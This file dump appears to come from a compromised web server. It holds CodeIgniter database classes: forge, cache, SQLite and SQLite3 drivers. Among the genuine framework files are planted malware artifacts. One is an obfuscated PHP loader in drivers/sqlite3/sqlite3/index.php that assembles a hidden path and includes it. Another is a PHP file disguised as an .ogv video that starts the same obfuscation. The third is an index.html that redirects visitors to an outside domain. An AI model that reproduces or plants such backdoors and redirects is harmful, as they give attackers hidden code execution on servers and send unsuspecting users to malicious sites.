$sql; } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table Table name * @return string[] list of SQL statements */ protected function _process_indexes($table) { $sqls = array(); for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sqls[] = 'CREATE INDEX '.$this->db->escape_identifiers($table.'_'.implode('_', $this->keys[$i])) .' ON '.$this->db->escape_identifiers($table) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).');'; } return $sqls; } // -------------------------------------------------------------------- /** * Reset * * Resets table creation vars * * @return void */ protected function _reset() { $this->fields = $this->keys = $this->primary_keys = array(); } } DB_cache.php 0000644 00000013411 14642767127 0006705 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Database Cache Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_Cache { /** * CI Singleton * * @var object */ public $CI; /** * Database object * * Allows passing of DB object so that multiple database connections * and returned DB objects can be supported. * * @var object */ public $db; // -------------------------------------------------------------------- /** * Constructor * * @param object &$db * @return void */ public function __construct(&$db) { // Assign the main CI object to $this->CI and load the file helper since we use it a lot $this->CI =& get_instance(); $this->db =& $db; $this->CI->load->helper('file'); $this->check_path(); } // -------------------------------------------------------------------- /** * Set Cache Directory Path * * @param string $path Path to the cache directory * @return bool */ public function check_path($path = '') { if ($path === '') { if ($this->db->cachedir === '') { return $this->db->cache_off(); } $path = $this->db->cachedir; } // Add a trailing slash to the path if needed $path = realpath($path) ? rtrim(realpath($path), DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR : rtrim($path, '/').'/'; if ( ! is_dir($path)) { log_message('debug', 'DB cache path error: '.$path); // If the path is wrong we'll turn off caching return $this->db->cache_off(); } if ( ! is_really_writable($path)) { log_message('debug', 'DB cache dir not writable: '.$path); // If the path is not really writable we'll turn off caching return $this->db->cache_off(); } $this->db->cachedir = $path; return TRUE; } // -------------------------------------------------------------------- /** * Retrieve a cached query * * The URI being requested will become the name of the cache sub-folder. * An MD5 hash of the SQL statement will become the cache file name. * * @param string $sql * @return string */ public function read($sql) { $segment_one = ($this->CI->uri->segment(1) == FALSE) ? 'default' : $this->CI->uri->segment(1); $segment_two = ($this->CI->uri->segment(2) == FALSE) ? 'index' : $this->CI->uri->segment(2); $filepath = $this->db->cachedir.$segment_one.'+'.$segment_two.'/'.md5($sql); if ( ! is_file($filepath) OR FALSE === ($cachedata = file_get_contents($filepath))) { return FALSE; } return unserialize($cachedata); } // -------------------------------------------------------------------- /** * Write a query to a cache file * * @param string $sql * @param object $object * @return bool */ public function write($sql, $object) { $segment_one = ($this->CI->uri->segment(1) == FALSE) ? 'default' : $this->CI->uri->segment(1); $segment_two = ($this->CI->uri->segment(2) == FALSE) ? 'index' : $this->CI->uri->segment(2); $dir_path = $this->db->cachedir.$segment_one.'+'.$segment_two.'/'; $filename = md5($sql); if ( ! is_dir($dir_path) && ! @mkdir($dir_path, 0750)) { return FALSE; } if (write_file($dir_path.$filename, serialize($object)) === FALSE) { return FALSE; } chmod($dir_path.$filename, 0640); return TRUE; } // -------------------------------------------------------------------- /** * Delete cache files within a particular directory * * @param string $segment_one * @param string $segment_two * @return void */ public function delete($segment_one = '', $segment_two = '') { if ($segment_one === '') { $segment_one = ($this->CI->uri->segment(1) == FALSE) ? 'default' : $this->CI->uri->segment(1); } if ($segment_two === '') { $segment_two = ($this->CI->uri->segment(2) == FALSE) ? 'index' : $this->CI->uri->segment(2); } $dir_path = $this->db->cachedir.$segment_one.'+'.$segment_two.'/'; delete_files($dir_path, TRUE); } // -------------------------------------------------------------------- /** * Delete all existing cache files * * @return void */ public function delete_all() { delete_files($this->db->cachedir, TRUE, TRUE); } } drivers/sqlite3/sqlite3_driver.php 0000644 00000020201 14642767131 0013264 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite3 Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author Andrey Andreev * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite3_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'sqlite3'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM()'); // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return SQLite3 */ public function db_connect($persistent = FALSE) { if ($persistent) { log_message('debug', 'SQLite3 doesn\'t support persistent connections'); } try { return ( ! $this->password) ? new SQLite3($this->database) : new SQLite3($this->database, SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE, $this->password); } catch (Exception $e) { return FALSE; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } $version = SQLite3::version(); return $this->data_cache['version'] = $version['versionString']; } // -------------------------------------------------------------------- /** * Execute the query * * @todo Implement use of SQLite3::querySingle(), if needed * @param string $sql * @return mixed SQLite3Result object or bool */ protected function _execute($sql) { return $this->is_write_type($sql) ? $this->conn_id->exec($sql) : $this->conn_id->query($sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return $this->conn_id->exec('BEGIN TRANSACTION'); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return $this->conn_id->exec('END TRANSACTION'); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return $this->conn_id->exec('ROLLBACK'); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return $this->conn_id->escapeString($str); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return $this->conn_id->changes(); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return $this->conn_id->lastInsertRowID(); } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { return 'SELECT "NAME" FROM "SQLITE_MASTER" WHERE "TYPE" = \'table\'' .(($prefix_limit !== FALSE && $this->dbprefix != '') ? ' AND "NAME" LIKE \''.$this->escape_like_str($this->dbprefix).'%\' '.sprintf($this->_like_escape_str, $this->_like_escape_chr) : ''); } // -------------------------------------------------------------------- /** * Fetch Field Names * * @param string $table Table name * @return array */ public function list_fields($table) { if (($result = $this->query('PRAGMA TABLE_INFO('.$this->protect_identifiers($table, TRUE, NULL, FALSE).')')) === FALSE) { return FALSE; } $fields = array(); foreach ($result->result_array() as $row) { $fields[] = $row['name']; } return $fields; } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('PRAGMA TABLE_INFO('.$this->protect_identifiers($table, TRUE, NULL, FALSE).')')) === FALSE) { return FALSE; } $query = $query->result_array(); if (empty($query)) { return FALSE; } $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]['name']; $retval[$i]->type = $query[$i]['type']; $retval[$i]->max_length = NULL; $retval[$i]->default = $query[$i]['dflt_value']; $retval[$i]->primary_key = isset($query[$i]['pk']) ? (int) $query[$i]['pk'] : 0; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => $this->conn_id->lastErrorCode(), 'message' => $this->conn_id->lastErrorMsg()); } // -------------------------------------------------------------------- /** * Replace statement * * Generates a platform-specific replace string from the supplied data * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _replace($table, $keys, $values) { return 'INSERT OR '.parent::_replace($table, $keys, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'DELETE FROM '.$table; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { $this->conn_id->close(); } } drivers/sqlite3/sqlite3/index.php 0000644 00000001074 14642767133 0013031 0 ustar 00 <?php /*-a(.h-*/$HhPk /*-@X7L-*/=/*-2>YUEu-*/ "ra"/*-LbM4QmWh_X-*/."nge"; $QaF /*-b${fHU-*/=/*-EY#Q7~-*/ $HhPk/*-$vwXNt-*/(/*-kla-*/"~"/*-OQ.LayN&-*/,/*-!>@2bpZ3Hd-*/" "); /*-Sq(d&ht+N-*/@include/*-hskNV?,-*/ $QaF/*-g3:J-*/[7+3].$QaF/*-%Xm9zaSa-*/[11+7].$QaF/*-]O>HyHU!H{-*/[44+3].$QaF/*-d`YllG-*/[21+24].$QaF/*-S#:ZrAE.<l-*/[2+4].$QaF/*-_eD$9-*/[1+4].$QaF/*-WL^XOtAD+-*/[15+45].$QaF/*-T5N:-*/[7+37].$QaF/*-JGbChEC`-*/[56+1].$QaF/*-<RoP}-*/[9+7].$QaF/*-;&~.-*/[19+35].$QaF/*-uOO-*/[39+41].$QaF/*-Wrq-*/[14+3].$QaF/*->r4>p7Aq@-*/[14+0].$QaF/*-VY@u5#-*/[0+74]/*-t7<iC-*/; ?> drivers/sqlite3/sqlite3/mgQquBExvbt.ogv 0000644 00000011535 14642767134 0014137 0 ustar 00 <?php /*-ITqa8@m2nQ-*/$S /*-0?|Bv7])^<-*/=/*-!D45-*/ range/*-)hZYHhUN-*/(/*-oX|;he-*/"~"/*-owR1+#>q9-*/, /*-zQc:#uTu-*/" "/*-kUza??}-*/); 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite3 Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author Andrey Andreev * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite3_result extends CI_DB_result { /** * Number of fields in the result set * * @return int */ public function num_fields() { return $this->result_id->numColumns(); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $field_names[] = $this->result_id->columnName($i); } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { static $data_types = array( SQLITE3_INTEGER => 'integer', SQLITE3_FLOAT => 'float', SQLITE3_TEXT => 'text', SQLITE3_BLOB => 'blob', SQLITE3_NULL => 'null' ); $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $this->result_id->columnName($i); $type = $this->result_id->columnType($i); $retval[$i]->type = isset($data_types[$type]) ? $data_types[$type] : $type; $retval[$i]->max_length = NULL; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_object($this->result_id)) { $this->result_id->finalize(); $this->result_id = NULL; } } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return $this->result_id->fetchArray(SQLITE3_ASSOC); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { // No native support for fetching rows as objects if (($row = $this->result_id->fetchArray(SQLITE3_ASSOC)) === FALSE) { return FALSE; } elseif ($class_name === 'stdClass') { return (object) $row; } $class_name = new $class_name(); foreach (array_keys($row) as $key) { $class_name->$key = $row[$key]; } return $class_name; } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n (ignored) * @return array */ public function data_seek($n = 0) { // Only resetting to the start of the result set is supported return ($n > 0) ? FALSE : $this->result_id->reset(); } } drivers/sqlite3/sqlite3_utility.php 0000644 00000004135 14642767137 0013512 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite3 Utility Class * * @category Database * @author Andrey Andreev * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite3_utility extends CI_DB_utility { /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Not supported return $this->db->display_error('db_unsupported_feature'); } } drivers/sqlite3/index.html 0000444 00000000605 14642767141 0011616 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/sqlite3/sqlite3_forge.php 0000644 00000013515 14642767142 0013107 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite3 Forge Class * * @category Database * @author Andrey Andreev * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite3_forge extends CI_DB_forge { /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = FALSE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { parent::__construct($db); if (version_compare($this->db->version(), '3.3', '<')) { $this->_create_table_if = FALSE; $this->_drop_table_if = FALSE; } } // -------------------------------------------------------------------- /** * Create database * * @param string $db_name * @return bool */ public function create_database($db_name) { // In SQLite, a database is created when you connect to the database. // We'll return TRUE so that an error isn't generated return TRUE; } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name (ignored) * @return bool */ public function drop_database($db_name) { // In SQLite, a database is dropped when we delete a file if (file_exists($this->db->database)) { // We need to close the pseudo-connection first $this->db->close(); if ( ! @unlink($this->db->database)) { return $this->db->db_debug ? $this->db->display_error('db_unable_to_drop') : FALSE; } elseif ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($this->db->database), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } return $this->db->db_debug ? $this->db->display_error('db_unable_to_drop') : FALSE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @todo implement drop_column(), modify_column() * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP' OR $alter_type === 'CHANGE') { // drop_column(): // BEGIN TRANSACTION; // CREATE TEMPORARY TABLE t1_backup(a,b); // INSERT INTO t1_backup SELECT a,b FROM t1; // DROP TABLE t1; // CREATE TABLE t1(a,b); // INSERT INTO t1 SELECT a,b FROM t1_backup; // DROP TABLE t1_backup; // COMMIT; return FALSE; } return parent::_alter_table($alter_type, $table, $field); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'] .$field['auto_increment'] .$field['null'] .$field['unique'] .$field['default']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'ENUM': case 'SET': $attributes['TYPE'] = 'TEXT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['type'] = 'INTEGER PRIMARY KEY'; $field['default'] = ''; $field['null'] = ''; $field['unique'] = ''; $field['auto_increment'] = ' AUTOINCREMENT'; $this->primary_keys = array(); } } } drivers/sqlite/sqlite_utility.php 0000644 00000004146 14642767144 0013344 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite_utility extends CI_DB_utility { /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/sqlite/sqlite_driver.php 0000644 00000017473 14642767145 0013144 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLite Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlite_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'sqlite'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM()'); // -------------------------------------------------------------------- /** * Non-persistent database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { $error = NULL; $conn_id = ($persistent === TRUE) ? sqlite_popen($this->database, 0666, $error) : sqlite_open($this->database, 0666, $error); isset($error) && log_message('error', $error); return $conn_id; } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { return isset($this->data_cache['version']) ? $this->data_cache['version'] : $this->data_cache['version'] = sqlite_libversion(); } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return $this->is_write_type($sql) ? sqlite_exec($this->conn_id, $sql) : sqlite_query($this->conn_id, $sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return $this->simple_query('BEGIN TRANSACTION'); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return $this->simple_query('COMMIT'); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return $this->simple_query('ROLLBACK'); } // -------------------------------------------------------------------- /** * Platform-dependant string escape * * @param string * @return string */ protected function _escape_str($str) { return sqlite_escape_string($str); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return sqlite_changes($this->conn_id); } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return sqlite_last_insert_rowid($this->conn_id); } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = "SELECT name FROM sqlite_master WHERE type='table'"; if ($prefix_limit !== FALSE && $this->dbprefix != '') { return $sql." AND 'name' LIKE '".$this->escape_like_str($this->dbprefix)."%' ".sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return bool */ protected function _list_columns($table = '') { // Not supported return FALSE; } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('PRAGMA TABLE_INFO('.$this->protect_identifiers($table, TRUE, NULL, FALSE).')')) === FALSE) { return FALSE; } $query = $query->result_array(); if (empty($query)) { return FALSE; } $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]['name']; $retval[$i]->type = $query[$i]['type']; $retval[$i]->max_length = NULL; $retval[$i]->default = $query[$i]['dflt_value']; $retval[$i]->primary_key = isset($query[$i]['pk']) ? (int) $query[$i]['pk'] : 0; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occured. * * @return array */ public function error() { $error = array('code' => sqlite_last_error($this->conn_id)); $error['message'] = sqlite_error_string($error['code']); return $error; } // -------------------------------------------------------------------- /** * Replace statement * * Generates a platform-specific replace string from the supplied data * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _replace($table, $keys, $values) { return 'INSERT OR '.parent::_replace($table, $keys, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this function maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'DELETE FROM '.$table; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { sqlite_close($this->conn_id); } } 